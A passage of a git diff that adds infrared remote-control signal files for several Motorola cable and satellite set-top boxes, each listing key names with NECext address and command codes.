KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: OK/Select +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: MYDVR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir new file mode 100644 index 000000000..ce9f06a78 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: BYPASS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: LOCK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: AUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: ADOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: ALEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: ARIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir new file mode 100644 index 000000000..885771816 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir new file mode 100644 index 000000000..64a7ff6c9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: ok/select +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: tv/vcr_input +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: a_lock +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: pnp-swap +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: c_day+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: b_day- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: mydvr +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3D 00 00 00 +# +name: live +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 +# +name: hdzoom_enter +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir new file mode 100644 index 000000000..db2ebdb7c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir @@ -0,0 +1,320 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: ppv +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: vod +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: pip_onoff +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: pip_swap +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: pip_move +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: pip_chan_up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: pip_chan_down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: day-plus +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: day-minus +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3D 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 +# +name: aspect +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir new file mode 100644 index 000000000..c3c7dea8a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 02 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 04 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 07 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 09 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 0A 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 0E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 12 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 14 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 15 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 16 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 17 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 19 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 1B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 1E 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 1F 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 82 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 86 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 88 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 8B 00 00 00 +# +name: question +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 8F 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 91 00 00 00 +# +name: interactive +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 93 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 9C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 9D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir new file mode 100644 index 000000000..c3c7dea8a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 02 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 04 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 07 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 09 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 0A 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 0E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 12 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 14 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 15 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 16 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 17 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 19 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 1B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 1E 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 1F 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 82 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 86 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 88 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 8B 00 00 00 +# +name: question +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 8F 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 91 00 00 00 +# +name: interactive +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 93 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 9C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 86 2F 00 00 +command: 9D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir new file mode 100644 index 000000000..e7b643335 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: yelow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 70 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: 